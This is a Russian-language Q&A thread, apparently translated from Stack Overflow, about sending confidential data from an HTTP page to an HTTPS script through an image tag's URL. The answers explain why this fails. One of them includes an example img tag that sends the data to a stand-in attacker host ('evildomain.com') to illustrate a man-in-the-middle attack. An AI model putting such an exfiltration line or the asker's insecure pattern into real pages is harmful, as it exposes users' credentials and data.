Может быть, обход http, https и ajax?
-
20-09-2019 - |
Вопрос
У меня есть серверный скрипт, в который мне нужно передать данные из браузера без перезагрузки страницы (он же ajax).Данные конфиденциальны, поэтому их следует отправлять через https.Однако страница находится на уровне http.Из-за того же ограничения домена/протокола браузер не позволяет этого.
Я подумываю немного обмануть систему, динамически создавая теги изображений и вызывая скрипт с использованием тега src, например:
<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />
Я хотел бы знать, действительно ли это будет правильно зашифровано.
Решение
Проблема в том, что если сама страница использует только HTTP, то вы уязвимы для атаки «человек посередине».Злоумышленник может просто изменить сценарий на странице, отправленной по HTTP, чтобы он вместо этого использовал:
<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />
Пользователь ничего не поймет.Чтобы обойти эту проблему, вам действительно нужно обслуживать страницу и через HTTPS, что в то же время аккуратно решает другую вашу проблему.
(Это та же самая причина, по которой формы входа должны быть на страницах HTTPS, а не просто действие формы должно быть HTTPS).
Другие советы
Да и нет.
Часть URL-адреса, посвященная адресу сервера, очевидно, не зашифрована, поскольку она используется для установки соединения.
Все остальное шифруется при отправке через HTTPS-соединение.Но любой, кто просматривает источник, очевидно, сможет увидеть публикуемые данные.
Также стоит упомянуть, что некоторые браузеры не отображают (или предупреждают пользователя перед отображением) смешанный режим (http vs.https) HTML-страницы.В некоторых случаях это может не сработать, поскольку пользователь решает заблокировать его.
Возможная альтернатива методу изображений (недостаток которого, как упоминалось другими, заключается в том, что некоторые браузеры не очень хорошо относятся к содержимому смешанного режима) может aSSL.
Любой метод приведет к шифрованию, и оба по-прежнему уязвимы для атак типа «человек посередине».